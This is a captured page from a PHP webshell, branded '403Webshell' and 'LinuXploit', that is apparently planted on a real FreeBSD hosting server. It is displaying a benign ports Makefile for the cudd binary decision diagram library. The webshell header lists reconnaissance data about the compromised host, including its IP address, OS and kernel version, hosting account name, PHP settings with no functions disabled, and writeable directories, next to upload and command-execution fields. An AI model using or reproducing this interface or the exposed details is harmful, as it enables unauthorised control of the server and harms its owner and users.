403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/cudd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/cudd/Makefile
PORTNAME=	cudd
DISTVERSION=	3.0.0
CATEGORIES=	math
MASTER_SITES=	https://davidkebo.com/source/cudd_versions/

MAINTAINER=	yuri@FreeBSD.org
COMMENT=	Package for the manipulation of Binary Decision Diagrams (BDDs), etc
WWW=		https://davidkebo.com/cudd

LICENSE=	BSD3CLAUSE
LICENSE_FILE=	${WRKSRC}/LICENSE

USES=		gmake libtool
USE_LDCONFIG=	yes

GNU_CONFIGURE=	yes
CONFIGURE_ARGS=	--enable-shared

PLIST_FILES=	include/cudd.h \
		lib/libcudd-3.0.0.so.0 \
		lib/libcudd-3.0.0.so.0.0.0 \
		lib/libcudd.a \
		lib/libcudd.so

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit